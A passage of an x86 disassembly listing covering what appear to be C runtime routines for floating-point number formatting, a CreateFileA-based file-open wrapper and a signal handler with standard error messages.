		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B81D


loc_40B841:				; CODE XREF: sub_40B5E0+254j
		jmp	short loc_40B84D
; ---------------------------------------------------------------------------


loc_40B843:				; CODE XREF: sub_40B5E0+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_40B84D:				; CODE XREF: sub_40B5E0:loc_40B841j
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_40B843
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_40B861:				; CODE XREF: sub_40B5E0+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_40B879
		fld	[ebp+var_10]
		fcomp	dbl_4100D4
		fnstsw	ax
		sahf
		ja	loc_40B7DA


loc_40B879:				; CODE XREF: sub_40B5E0+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40B89A
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40B89A:				; CODE XREF: sub_40B5E0+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_40B93E
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40B8C6
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_40B8C6
		mov	[ebp+var_64], 0Fh
		jmp	short loc_40B8CD
; ---------------------------------------------------------------------------


loc_40B8C6:				; CODE XREF: sub_40B5E0+2CFj
					; sub_40B5E0+2DBj
		mov	[ebp+var_64], 0


loc_40B8CD:				; CODE XREF: sub_40B5E0+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B8E1
; ---------------------------------------------------------------------------


loc_40B8DC:				; CODE XREF: sub_40B5E0+311j
		sub	[ebp+var_12], 1


loc_40B8E1:				; CODE XREF: sub_40B5E0+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_40B8DC
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_40B904
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40B904:				; CODE XREF: sub_40B5E0+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_40B917
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_40B917:				; CODE XREF: sub_40B5E0+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_40B933
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: sub_40B5E0+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_40B933:				; CODE XREF: sub_40B5E0+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_40B920


loc_40B93E:				; CODE XREF: sub_40B5E0+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_40BC15
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_40BC15
; ---------------------------------------------------------------------------


loc_40B95B:				; CODE XREF: sub_40B5E0+16Fj
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_40B971
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_40B971:				; CODE XREF: sub_40B5E0+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_40B9DC
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_40B9D4
; ---------------------------------------------------------------------------


loc_40B9B8:				; CODE XREF: sub_40B5E0+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40B9CE
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_41007C[eax*8]
		fstp	[ebp+var_10]


loc_40B9CE:				; CODE XREF: sub_40B5E0+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40B9D4:				; CODE XREF: sub_40B5E0+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_40B9B8
		jmp	short loc_40BA2C
; ---------------------------------------------------------------------------


loc_40B9DC:				; CODE XREF: sub_40B5E0+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_40BA2C
		fld	dbl_4100CC
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_40BA1D
; ---------------------------------------------------------------------------


loc_40BA01:				; CODE XREF: sub_40B5E0+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_40BA17
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_41007C[eax*8]
		fstp	[ebp+var_50]


loc_40BA17:				; CODE XREF: sub_40B5E0+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_40BA1D:				; CODE XREF: sub_40B5E0+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_40BA01
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_40BA2C:				; CODE XREF: sub_40B5E0+3FAj
					; sub_40B5E0+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40BA37
		cmp	al, 46h
		jnz	short loc_40BA43


loc_40BA37:				; CODE XREF: sub_40B5E0+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_40BA4A
; ---------------------------------------------------------------------------


loc_40BA43:				; CODE XREF: sub_40B5E0+455j
		mov	[ebp+var_48], 6


loc_40BA4A:				; CODE XREF: sub_40B5E0+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_40BA64
		mov	[ebp+var_44], 13h


loc_40BA64:				; CODE XREF: sub_40B5E0+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_40BB0A
; ---------------------------------------------------------------------------


loc_40BA75:				; CODE XREF: sub_40B5E0+53Cj
		fld	[ebp+var_10]
		call	sub_40C6E0
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_40BA9E
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_4100C4
		fstp	[ebp+var_10]


loc_40BA9E:				; CODE XREF: sub_40B5E0+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_40BAD9
; ---------------------------------------------------------------------------


loc_40BAB0:				; CODE XREF: sub_40B5E0+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_40C710
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_40BAD9:				; CODE XREF: sub_40B5E0+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_40BAEA
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_40BAB0


loc_40BAEA:				; CODE XREF: sub_40B5E0+4FDj
		jmp	short loc_40BAF6
; ---------------------------------------------------------------------------


loc_40BAEC:				; CODE XREF: sub_40B5E0+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_40BAF6:				; CODE XREF: sub_40B5E0:loc_40BAEAj
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_40BAEC
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_40BB0A:				; CODE XREF: sub_40B5E0+490j
		cmp	[ebp+var_44], 0
		jle	short loc_40BB22
		fld	dbl_4100D4
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_40BA75


loc_40BB22:				; CODE XREF: sub_40B5E0+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_40BB45
; ---------------------------------------------------------------------------


loc_40BB3A:				; CODE XREF: sub_40B5E0+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_40BB45:				; CODE XREF: sub_40B5E0+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_40BB3A
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40BB58
		cmp	al, 46h
		jnz	short loc_40BB62


loc_40BB58:				; CODE XREF: sub_40B5E0+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_40BB7D
; ---------------------------------------------------------------------------


loc_40BB62:				; CODE XREF: sub_40B5E0+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40BB6D
		cmp	al, 45h
		jnz	short loc_40BB76


loc_40BB6D:				; CODE XREF: sub_40B5E0+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_40BB7D
; ---------------------------------------------------------------------------


loc_40BB76:				; CODE XREF: sub_40B5E0+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_40BB7D:				; CODE XREF: sub_40B5E0+580j
					; sub_40B5E0+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_40BB9C
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_40BB9C:				; CODE XREF: sub_40B5E0+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_40BC15
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_40BBC4
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_40BBC4
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_40BBCB
; ---------------------------------------------------------------------------


loc_40BBC4:				; CODE XREF: sub_40B5E0+5CDj
					; sub_40B5E0+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_40BBCB:				; CODE XREF: sub_40B5E0+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_40BBDF
; ---------------------------------------------------------------------------


loc_40BBDA:				; CODE XREF: sub_40B5E0+60Fj
		sub	[ebp+var_12], 1


loc_40BBDF:				; CODE XREF: sub_40B5E0+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_40BBDA
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_40BC02
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_40BC02:				; CODE XREF: sub_40B5E0+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_40BC15
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_40BC15:				; CODE XREF: sub_40B5E0+161j
					; sub_40B5E0+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40C740
		add	esp, 14h


loc_40BC34:				; CODE XREF: sub_40B5E0+B4j
					; sub_40B5E0+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_40B5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC40	proc near		; CODE XREF: sub_40A970+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40BC70
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC70	proc near		; CODE XREF: sub_40BC40+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], 0
		test	ebx, 80h
		jz	short loc_40BC9F
		mov	[ebp+var_8], 0
		mov	[ebp+var_1], 10h
		jmp	short loc_40BCAA
; ---------------------------------------------------------------------------


loc_40BC9F:				; CODE XREF: sub_40BC70+20j
		mov	[ebp+var_8], 1
		mov	[ebp+var_1], 0


loc_40BCAA:				; CODE XREF: sub_40BC70+2Dj
		test	ebx, 8000h
		jnz	short loc_40BCBE
		test	ebx, 4000h
		jz	short loc_40BCBE
		or	[ebp+var_1], 80h


loc_40BCBE:				; CODE XREF: sub_40BC70+40j
					; sub_40BC70+48j
		mov	edi, ebx
		and	edi, 3
		jz	short loc_40BCD1
		cmp	edi, 1
		jz	short loc_40BCDA
		cmp	edi, 2
		jz	short loc_40BCE3
		jmp	short loc_40BCEC
; ---------------------------------------------------------------------------


loc_40BCD1:				; CODE XREF: sub_40BC70+53j
		mov	[ebp+var_20], 80000000h
		jmp	short loc_40BCFF
; ---------------------------------------------------------------------------


loc_40BCDA:				; CODE XREF: sub_40BC70+58j
		mov	[ebp+var_20], 40000000h
		jmp	short loc_40BCFF
; ---------------------------------------------------------------------------


loc_40BCE3:				; CODE XREF: sub_40BC70+5Dj
		mov	[ebp+var_20], 0C0000000h
		jmp	short loc_40BCFF
; ---------------------------------------------------------------------------


loc_40BCEC:				; CODE XREF: sub_40BC70+5Fj
		call	sub_408730
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BCFF:				; CODE XREF: sub_40BC70+68j
					; sub_40BC70+71j ...
		mov	eax, [ebp+arg_8]
		cmp	eax, 20h
		jz	short loc_40BD2C
		jg	short loc_40BD11
		cmp	[ebp+arg_8], 10h
		jz	short loc_40BD23
		jmp	short loc_40BD47
; ---------------------------------------------------------------------------


loc_40BD11:				; CODE XREF: sub_40BC70+97j
		mov	eax, [ebp+arg_8]
		cmp	eax, 30h
		jz	short loc_40BD35
		jl	short loc_40BD47
		cmp	[ebp+arg_8], 40h
		jz	short loc_40BD3E
		jmp	short loc_40BD47
; ---------------------------------------------------------------------------


loc_40BD23:				; CODE XREF: sub_40BC70+9Dj
		mov	[ebp+var_28], 0
		jmp	short loc_40BD5A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BC70+95j
		mov	[ebp+var_28], 1
		jmp	short loc_40BD5A
; ---------------------------------------------------------------------------


loc_40BD35:				; CODE XREF: sub_40BC70+A7j
		mov	[ebp+var_28], 2
		jmp	short loc_40BD5A
; ---------------------------------------------------------------------------


loc_40BD3E:				; CODE XREF: sub_40BC70+AFj
		mov	[ebp+var_28], 3
		jmp	short loc_40BD5A
; ---------------------------------------------------------------------------


loc_40BD47:				; CODE XREF: sub_40BC70+9Fj
					; sub_40BC70+A9j ...
		call	sub_408730
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BD5A:				; CODE XREF: sub_40BC70+BAj
					; sub_40BC70+C3j ...
		mov	eax, ebx
		and	eax, 700h
		mov	[ebp+var_3C], eax
		cmp	eax, 300h
		jz	short loc_40BDDE
		jg	short loc_40BD8C
		mov	eax, [ebp+var_3C]
		cmp	eax, 100h
		jz	short loc_40BDC3
		jg	short loc_40BD81
		cmp	[ebp+var_3C], 0
		jz	short loc_40BDBA
		jmp	short loc_40BDE7
; ---------------------------------------------------------------------------


loc_40BD81:				; CODE XREF: sub_40BC70+107j
		cmp	[ebp+var_3C], 200h
		jz	short loc_40BDD5
		jmp	short loc_40BDE7
; ---------------------------------------------------------------------------


loc_40BD8C:				; CODE XREF: sub_40BC70+FBj
		mov	eax, [ebp+var_3C]
		cmp	eax, 500h
		jz	short loc_40BDCC
		jg	short loc_40BDA3
		cmp	[ebp+var_3C], 400h
		jz	short loc_40BDBA
		jmp	short loc_40BDE7
; ---------------------------------------------------------------------------


loc_40BDA3:				; CODE XREF: sub_40BC70+126j
		mov	eax, [ebp+var_3C]
		cmp	eax, 600h
		jz	short loc_40BDD5
		jl	short loc_40BDE7
		cmp	[ebp+var_3C], 700h
		jz	short loc_40BDCC
		jmp	short loc_40BDE7
; ---------------------------------------------------------------------------


loc_40BDBA:				; CODE XREF: sub_40BC70+10Dj
					; sub_40BC70+12Fj
		mov	[ebp+var_24], 3
		jmp	short loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BDC3:				; CODE XREF: sub_40BC70+105j
		mov	[ebp+var_24], 4
		jmp	short loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BDCC:				; CODE XREF: sub_40BC70+124j
					; sub_40BC70+146j
		mov	[ebp+var_24], 1
		jmp	short loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BDD5:				; CODE XREF: sub_40BC70+118j
					; sub_40BC70+13Bj
		mov	[ebp+var_24], 5
		jmp	short loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC70+F9j
		mov	[ebp+var_24], 2
		jmp	short loc_40BDFA
; ---------------------------------------------------------------------------


loc_40BDE7:				; CODE XREF: sub_40BC70+10Fj
					; sub_40BC70+11Aj ...
		call	sub_408730
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BDFA:				; CODE XREF: sub_40BC70+151j
					; sub_40BC70+15Aj ...
		mov	[ebp+var_14], 80h
		test	ebx, 100h
		jz	short loc_40BE28
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		add	eax, 4
		mov	[ebp+var_2C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_30], eax
		test	byte ptr [ebp+var_30], 80h
		jnz	short loc_40BE28
		mov	[ebp+var_14], 1


loc_40BE28:				; CODE XREF: sub_40BC70+197j
					; sub_40BC70+1AFj
		test	ebx, 40h
		jz	short loc_40BE3E
		or	[ebp+var_14], 4000000h
		or	[ebp+var_20], 10000h


loc_40BE3E:				; CODE XREF: sub_40BC70+1BEj
		test	ebx, 1000h
		jz	short loc_40BE4D
		or	[ebp+var_14], 100h


loc_40BE4D:				; CODE XREF: sub_40BC70+1D4j
		test	ebx, 20h
		jz	short loc_40BE5E
		or	[ebp+var_14], 8000000h
		jmp	short loc_40BE6D
; ---------------------------------------------------------------------------


loc_40BE5E:				; CODE XREF: sub_40BC70+1E3j
		test	ebx, 10h
		jz	short loc_40BE6D
		or	[ebp+var_14], 10000000h


loc_40BE6D:				; CODE XREF: sub_40BC70+1ECj
					; sub_40BC70+1F4j
		call	sub_40AC60
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BE8C
		call	sub_408730
		mov	dword ptr [eax], 18h
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BE8C:				; CODE XREF: sub_40BC70+207j
		push	0
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_411DD4	; CreateFileA
		mov	[ebp+var_18], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BED2
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_4085D0
		pop	ecx
		push	esi
		call	sub_40B070
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BED2:				; CODE XREF: sub_40BC70+244j
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411DF0	; GetFileType
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_40BF09
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_411CFC	; CloseHandle
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		call	sub_4085D0
		pop	ecx
		push	esi
		call	sub_40B070
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BF09:				; CODE XREF: sub_40BC70+271j
		cmp	[ebp+var_1C], 2
		jnz	short loc_40BF15
		or	[ebp+var_1], 40h
		jmp	short loc_40BF1F
; ---------------------------------------------------------------------------


loc_40BF15:				; CODE XREF: sub_40BC70+29Dj
		cmp	[ebp+var_1C], 3
		jnz	short loc_40BF1F
		or	[ebp+var_1], 8


loc_40BF1F:				; CODE XREF: sub_40BC70+2A3j
					; sub_40BC70+2A9j
		mov	eax, [ebp+var_18]
		push	eax
		push	esi
		call	sub_40AE40
		add	esp, 8
		or	[ebp+var_1], 1
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		mov	cl, [ebp+var_1]
		mov	[edx+eax+4], cl
		movzx	eax, [ebp+var_1]
		test	eax, 48h
		jnz	loc_40C017
		test	eax, 80h
		jz	loc_40C017
		test	ebx, 2
		jz	loc_40C017
		push	2
		push	0FFFFFFFFh
		push	esi
		call	sub_40C180
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BFAD
		call	dword_411CEC	; RtlGetLastWin32Error
		cmp	eax, 83h
		jz	loc_40C017
		push	esi
		call	sub_409110
		pop	ecx
		push	esi
		call	sub_40B070
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40C049
; ---------------------------------------------------------------------------


loc_40BFAD:				; CODE XREF: sub_40BC70+314j
		mov	[ebp+var_35], 0
		push	1
		lea	eax, [ebp+var_35]
		push	eax
		push	esi
		call	sub_40CC20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40BFEF
		cmp	[ebp+var_35], 1Ah
		jnz	short loc_40BFEF
		mov	eax, [ebp+var_34]
		push	eax
		push	esi
		call	sub_40CFE0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BFEF
		push	esi
		call	sub_409110
		pop	ecx
		push	esi
		call	sub_40B070
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C049
; ---------------------------------------------------------------------------


loc_40BFEF:				; CODE XREF: sub_40BC70+352j
					; sub_40BC70+358j ...
		push	0
		push	0
		push	esi
		call	sub_40C180
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C017
		push	esi
		call	sub_409110
		pop	ecx
		push	esi
		call	sub_40B070
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C049
; ---------------------------------------------------------------------------


loc_40C017:				; CODE XREF: sub_40BC70+2E4j
					; sub_40BC70+2EFj ...
		test	[ebp+var_1], 48h
		jnz	short loc_40C040
		test	ebx, 8
		jz	short loc_40C040
		mov	eax, esi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, esi
		sar	edx, 5
		mov	edx, dword_41398C[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	20h


loc_40C040:				; CODE XREF: sub_40BC70+3ABj
					; sub_40BC70+3B3j
		push	esi
		call	sub_40B070
		pop	ecx
		mov	eax, esi


loc_40C049:				; CODE XREF: sub_40BC70+8Aj
					; sub_40BC70+E5j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BC70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C050	proc near		; CODE XREF: sub_40A9E0+2p

var_14		= dword	ptr -14h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B0E0
		add	esp, 8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40C077
		or	eax, 0FFFFFFFFh
		jmp	loc_40C174
; ---------------------------------------------------------------------------


loc_40C077:				; CODE XREF: sub_40C050+1Dj
		cmp	ebx, 1
		jz	loc_40C172
		test	ebx, ebx
		jz	short loc_40C09E
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40B0E0
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	ebx
		pop	ecx
		jmp	loc_40C172
; ---------------------------------------------------------------------------


loc_40C09E:				; CODE XREF: sub_40C050+32j
		mov	eax, [ebp+arg_0]
		cmp	eax, 2
		jl	short loc_40C0F3
		cmp	eax, 0Bh
		jg	short loc_40C0B2
		jmp	dword ptr byte_410108[eax*4]
; ---------------------------------------------------------------------------


loc_40C0B2:				; CODE XREF: sub_40C050+59j
		cmp	[ebp+arg_0], 0Fh
		jz	short loc_40C0EA
		jmp	short loc_40C0F3
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aAbort ; "abort"
		jmp	loc_40C147
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aArithmeticErro ; "arithmetic error"
		jmp	short loc_40C147
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
		jmp	short loc_40C147
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInterruption ; "interruption"
		jmp	short loc_40C147
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], offset aInvalidStorage ; "invalid storage access"
		jmp	short loc_40C147
; ---------------------------------------------------------------------------


loc_40C0EA:				; CODE XREF: sub_40C050+66j
		mov	[ebp+var_4], offset aTerminationReq ; "termination request"
		jmp	short loc_40C147
; ---------------------------------------------------------------------------


loc_40C0F3:				; CODE XREF: sub_40C050+54j
					; sub_40C050+68j
		lea	eax, [ebp+var_5]
		mov	[ebp+var_4], eax
		mov	[ebp+var_5], 0


loc_40C0FD:				; CODE XREF: sub_40C050+E3j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	eax, [edx+30h]
		mov	edx, [ebp+var_14]
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 66666667h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 2
